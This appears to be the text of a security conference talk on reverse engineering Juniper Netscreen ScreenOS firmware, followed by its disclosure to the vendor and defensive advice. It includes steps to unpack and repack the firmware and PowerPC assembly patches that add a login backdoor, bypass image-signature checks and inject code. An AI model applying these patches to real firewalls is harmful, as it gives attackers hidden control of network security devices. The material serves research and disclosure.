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Trailer
• What if a core network security device was compromised? 

– an attacker has exploited a vulnerability
– malicious appliance supplier
– malicious third party support
– malicious employee

• This is a POST EXPLOIT, SERIAL CONSOLE or MITM attack.

• Goal is hidden root control of the appliance. 
– Discuss reversing and modifying the firmware code
– Demo a zombied Netscreen



Opening Scene

Netscreens are manufactured by Juniper Inc
• All in one Firewall, VPN, Router security appliance.
• SME to Datacentre scale (NS5XP – NS5000).
• Common Criteria and FIPS certified.
• Run a closed source, real time OS called ScreenOS.
• ScreenOS is supplied as a binary firmware 'blob'.

NS5XT Model:
• PowerPC 405 GP RISC processor 64MB Flash
• Serial console, Telnet, SSH, HTTP/HTTPS admin interfaces



Attack
Attacking firmware -  two vectors of attack:

• Live evisceration: debugging with remote GDB debugger over 
serial line

• Feeding on the remains: dead listing / static binary analysis 
using disassembler and hex editor

PowerPC architecture
• fixed instruction size of 4 bytes
• flat memory model
• 32 GP registers, no explicit stack, link register
• IBM  PPC405 Embedded Processor Core User Manual



  Live Evisceration
• Embedded Linux Development Kit has GDB compiled for 

PowerPC 405 processor

• No source so create custom .gdbinit for PPC registers and 
'stack' to provide 'SoftICE' like context on breaks.

• Network connection to the Netscreen and run:
 set gdb enable

• Connect remote gdb via serial console



• Worked:
– Memory dumps
– Query memory 

addresses

• Didn't work:
– Breakpoints
– Single stepping



Feeding on the 
Remains

/--------------------------\
|          HEADER          |
|--------------------------|
|                          |
|--------------------------|
|           STUB           |
|--------------------------|
|                          |
|--------------------------|
|         UNKNOWN          |
|--------------------------|
|                          |
|--------------------------|
|     COMPRESSED BINARY    |
|     UPDATE BLOB [BUB]    |
\--------------------------/

● Compared many different versions of ScreenOS firmware.
● Revealed a 4 section structure

● Header:
   sig   sysinfo

00000000: EE16BA81 00110A12 00000020 02860000
00000010: 004E6016 15100050 29808000 C72C15F7

   size    checksum

size = compressed image size – 79 bytes
sysinfo = 00, platform, cpu, version

● Stub contains strings relating to LZMA compression 
algorithm.

● Compressed Binary Update Blob (Bub) also has a header.
 



Bub
• The header of the Bub appears to be a customised LZMA 

header. 
• Comparative analysis again of different Bub headers.
• The standard LZMA header has 3 fields: 

options, dictionary_size, uncompressed_size
 

• 'Bub' header has 3 fields: 
signature bytes, options, dictionary_size

00012BF0: 00000000 00000000 00000000 00000000
 00012C00: 01440598 5D002000 00007705 92C63DFC 
00012C10: 07046E0E 343AA6F1 899098E8 8EDAFDA8



Bub Can Change

.    Uncompress Bub
● Cut out the Bub from firmware file.
● Insert an uncompressed_size field of value -1 == unknown size  
● Modify the dictionary_size from 0x00200000 to 0x00008000
● Then we can decompress the Bub using freely available LZMA utilities

Compress Bub
● Compress the binary with standard LZMA utilities.
● Modify the dictionary_size field from 0x00002000 to 0x00200000.
● Delete the uncompressed_size field of 8 bytes.
● Insert new Bub into firmware file replacing original compressed blob.



● Cut out the compressed Bub section of the image.
● Uncompress the Bub. 
● Modify the resulting binary to add or change code and / 

or data. 
● Re-compress the modified binary into a new Bub. 
● Prepend the original firmware header to the modified Bub. 

● Upload the modified firmware over serial = SUCCESS. 
● Upload the modified firmware over network = FAILED.

Night of the Living
Netscreen



Autopsy
• Uncompressed Bub is ~20Mb ScreenOS binary with a header.
• Want to load into IDA but need a  loading address so that 

references within the program point to the correct locations.
• From header:  program_entry = address – offset

   signature           offset   address
00000000:  EE16BA81 00010110  00000020 00060000
00000010:  01440578 00000000  00000000 F8A2FA6F

• Confirm with live debugging
• Correctly loaded binary but unknown sections...



Autopsy ii
/--------------------------\
|          HEADER          |
|--------------------------|
|       SCREENOS CODE      |
|--------------------------|
|       SCREENOS DATA      |
|--------------------------|
|     BOOT LOADER CODE     |
|--------------------------|
|     BOOT LOADER DATA     |
|--------------------------|
|          0xFFs           | 
|--------------------------|
|      other stuff!    |
\--------------------------/

● Use IDA scripts to find function prologs  
(0x9421F*) and mark as code.

● Mark strings in data section for cross 
references.

● Use error strings to identify functions and 
rename.

● Search for str_cmp, file_read, file_write, 
login etc.

● Build up a picture of the binary structure 
and functions.

● Need to cut out boot loader and 
disassemble separately with loading 
address 0x0.



• ScreenOS Trojaned Firmware required functionality:

– Install/Upgrade: Load trojan firmware via serial, tftp and web

– Maintain Access: Include a back door login mechanism

– Payload: Execute arbitrary code injected into the image

• All modification hand crafted asm and hex editing the binary

Netscreen of the
Dead



First Bite
Install / Upgrade
• Checksum and size in header are checked when images 

loaded over the network via TFTP or Web

00000000: EE16BA81 00110A12 00000020 02860000
00000010: 004E6016 15100050 29808000 C72C15F7 checksum

              
• Checksum  is calculated, could reverse the algorithm... but on 

loading any bad checksum value is printed to the console.

• If we modify the firmware to print out the correct checksum 
value we would have a 'checksum calculator' firmware which 
we load modified firmware against.

• With correct checksum can now load modified firmware via tftp 
and web interface.



 

008B60E4  lwz   %r4, 0x1C(%r31) # %r4 contains header checksum 

008B60E8  cmpw  %r3, %r4   # %r3 contains calculated checksum

008B60EC  beq   loc_8B6110   # branch away if checksums matched

#008B60EC mr  %r4,%r3   # print out calculated checksum 

008B60F0  lis   %r3, aCksumXSizeD@h # " cksum :%x size :%d\n"

008B60F4  addi  %r3, %r3, aCksumXSizeD@l 

008B60F8  lwz   %r5, 0x10(%r31) 

008B60FC  bl    Print_to_Console # %r4 is printed to console

008B6100  lis   %r3, aIncorrectFirmw@h # "Incorrect firmware data, 

008B6104  addi  %r3, %r3, aIncorrectFirmw@l 

008B6108  bl    Print_to_Console

First Bite ii



One Bit{e}
Maintain Access

• Console, Telnet, Web and SSH all compare password hashes 
and use the same function.

• SSH falls back to password if client does not supply a key unless 
password authentication has been disabled. 

• One bit patch provides login with any password if a valid 
username is supplied. 



003F7F04   mr      %r4, %r27
003F7F08   mr      %r5, %r30
003F7F0C   bl      COMPARE_HASHES  # does a string compare 

003F7F10   cmpwi   %r3, 0               # equal if match
#0x397F30  cmpwi   %r3, 1    # equal if they don't match

003F7F14   bne     loc_3F7F24  # login fails if not equal (branch)  
 

003F7F18   li      %r0, 2
003F7F1C   stw     %r0, 0(%r29)
003F7F20   b       loc_3F7F28

One Bit{e} ii



Infection

Injecting code into the binary
• ScreenOS code section contains a block of nulls
• Proof of concept code injected into nulls

Proof of Concept Code :: motd
• Patch a branch in ScreenOS to call our code
• Call ScreenOS functions from our code
• Create new code and functionality
• Branch back to callee



Infection ii
stwu  %sp, -0x20(%sp)
mflr  %r0     
lis   %r3, string_msb_address
addi  %r3, %r3, string_lsb_address
bl    Print_To_Console
mtlr  %r0
addi  %sp, 0x20
bl    callee_function



Zombie Loader
• All Juniper ScreenOS images signed.

• Administrator can load a Juniper certificate to validate 
firmware

• Certificate NOT installed by default.

• Administrator can delete this certificate. 

• Check is done in the BOOT LOADER which we can modify to 
authenticate all images or only non-Juniper images

• Delete certificate -> install bogus firmware -> re-install 
certificate



0000D68C   bl    sub_98B8
0000D690   cmpwi %r3, 0     # %r3 has result of image validation

0000D694   beq   loc_D6B0   # branch if passed
#0000D694  b     loc_D6B0   # always branch, all images authenticated
#0000D694  bne   loc_D6B0   # ...or only bogus images authenticated

0000D698   lis   %r3, aBogusImageNotA@h # Bogus image not authenticated"
0000D69C   addi  %r3, %r3, aBogusImageNotA@l 
0000D6A0   crclr 4*cr1+eq
0000D6A4   bl    sub_C8D0
0000D6A8   li    %r31, -1
0000D6AC   b     loc_D6E0
0000D6B0   lis   %r3, aImageAuthentic@h  # Image authenticated!

Zombie Loader ii



Demo: ScreamOS



28 Hacks Later

• Hidden shadow configuration file
– allowing all traffic from one IP through Netscreen
– network traffic tap

• Persistent infection via boot loader on ScreenOS upgrade. 
Patch boot loader and login mechanism. 

• Javascript code injection in web console...



Victim
04-07-08: Sent white-paper and firmware to Juniper recommending:

• Install firmware authentication certificate at factory 
• Prevent certificate deletion 
• Encrypt firmware rather than using LZMA compression

Juniper:
13-09-08: “This is expected”
28-10-08: “I saw you are presenting at RUXCON on Nov 30th. Cool.”
24-11-08:   Publish JTAC Bulletin PSN-2008-11-111 

“ScreenOS Firmware Image Authenticity Notification”
Risk Level : Medium



Victim ii

 
“All Juniper ScreenOS Firewall Platforms are susceptible to 

circumstances in which a maliciously modified ScreenOS image 
can be installed.” 

Juniper recommend:
– Install the imagekey.cer certificate

– Utilize the “Manager-IP” feature to control which hosts (via their 
IP addresses) can manage your firewall.

– Change the TCP port by which the device listens for 
administration traffic (HTTPS, SSH). 



Remove the Brain
• Install known firmware before deployment 

(Who is your Juniper vendor?)

• Admin via SSH key authentication only 
(disable Telnet, HTTP and HTTPS)

• Out of band management network

• Limit number of administrators.

• Strong passwords.



Roll the Credits

Andy and Mark @ 
Aura Software Security

George Romero

Simon Pegg



Script by ScreenOS Dev

BOB: “Code should never reach here by design”
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